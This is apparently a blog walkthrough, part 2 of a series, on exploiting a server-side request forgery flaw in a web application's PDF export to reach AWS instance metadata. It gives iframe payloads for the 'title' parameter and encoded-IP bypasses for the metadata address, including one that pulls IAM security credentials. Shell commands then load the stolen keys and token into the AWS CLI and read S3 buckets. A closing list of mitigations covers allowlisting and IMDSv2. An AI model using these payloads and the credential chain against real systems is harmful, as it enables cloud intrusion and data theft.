Part 2 — Exploiting SSRF Vulnerability to Gain Unauthorized Access to AWS Data
Welcome back hackers, and let’s jump right into part 2 of our SSRF exploitation adventure.
“If you’re new here, it’s recommended a look at part 1”
Summary:
Through the effective exploitation of the SSRF vulnerability, Was able to bypass security protocols and utilize an iFrame to load “localhost” within a PDF file.
##Let’s pick up where we left off.
Despite initial excitement, I was unable to access the cloud metadata using the “169.254.169.254” internal IP address of AWS. It provides valuable details like internal IP Address, hostname, project details, and more, but unfortunately, my attempts were unsuccessful.
Payload I used to access the cloud metadata:
<iframe src=http://169.254.169.254/latest/meta-data width=500 height=500>As shown in Exhibit 1.1, I have injected the payload in the “title” parameter and it is reflected in the response.
As shown in Exhibit 1.2, A PDF was generated by clicking on “Export to PDF”.
As shown in Exhibit 1.3, There was no success. The PDF failed to load with AWS metadata.
The AWS Metadata IP address met with disappointment — it seems that the IP had been blacklisted.
I wasn’t about to give up just yet — I had to explore every angle to find a way in!
After some sleuthing, I stumbled upon a solution on GitHub — PayloadsAllTheThings!
##AWS SSRF Bypasses:
Converted Decimal IP: http://2852039166/latest/meta-data/
IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/
IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/
IPV6/IPV4: http://[0:0:0:0:0:ffff:169.254.169.254]/latest/meta-data/Crafted the payload like this:
<iframe src=http://2852039166/latest/meta-data width=500 height=500>
<iframe src=http://2852039166/latest/user-data/iam/security-credentials/[ROLE NAME] width=500 height=500>
<iframe src=http://2852039166/latest/dynamic/instance-identity/document width=500 height=500>As shown in Exhibit 2.1, I have injected the payload in the “title” parameter and it is reflected in the response.
The PDF was generated by following the same steps as demonstrated in “Exhibit 1.2”.
As shown in Exhibit 2.2, The application successfully loaded and rendered the “latest/meta-data” information within the exported PDF file AWS.
As shown in Exhibit 2.3, The application successfully loaded and rendered the “latest/user-data/iam/security-credentials/[ROLE NAME]” information within the exported PDF file AWS.
As shown in Exhibit 2.4, The application successfully loaded and rendered the “latest/dynamic/instance-identity/document” information within the exported PDF file AWS.
## Now let’s, Configure AWS Command Line Interface:
As shown in Exhibit 5, Open your terminal and install the “awscli” and export the data.
Open your terminal:
~# apt install awscli
~# export AWS_ACCESS_KEY_ID=AccessKeyId
~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey
~# export AWS_DEFAULT_REGION=region
~# export AWS_SESSION_TOKEN=Token
As shown in Exhibit 6, To get the [UserID].
~# aws sts get-caller-identity
As shown in Exhibit 7, Reading the [S3 Bucket].
As shown in Exhibit 8, Reading the S3 Bucket’s content.
The ability to elevate a Server-Side Request Forgery can be achieved in multiple ways, but the specific approach would depend on the environment of your intended target.
Mitigation techniques:
- Whitelisting and DNS Resolution: Limiting the outgoing connections to only known domains and IPs, and resolving DNS queries internally.
- Input Validation: Implementing strict input validation of all user inputs to prevent attackers from submitting malicious requests.
- Response Handling: Sanitizing and validating the response of the server to ensure it does not contain any sensitive information.
- Disabling Unused URL Schemas: Disabling unused URL schemes that are not required in the application to reduce the attack surface.
- Authentication for Internal Services: Implementing authentication for internal services to prevent unauthorized access to sensitive resources.
- Web Application Firewalls (WAF): Using a WAF to inspect and filter all incoming traffic to the application, and block malicious requests.
- AWS Service Control Policies (SCPs) to Enforce IMDSv2: Implementing SCPs to enforce IMDSv2 for EC2 instances to ensure that requests are only made from authorized sources.
- AWS SSM Automation Documents Enforcing IMDSv2: Using SSM automation documents to automate the configuration of EC2 instances to enforce IMDSv2.
Thank you for reading!
Don’t forget to follow for more content and updates. Share some love and leave any additional comments below.
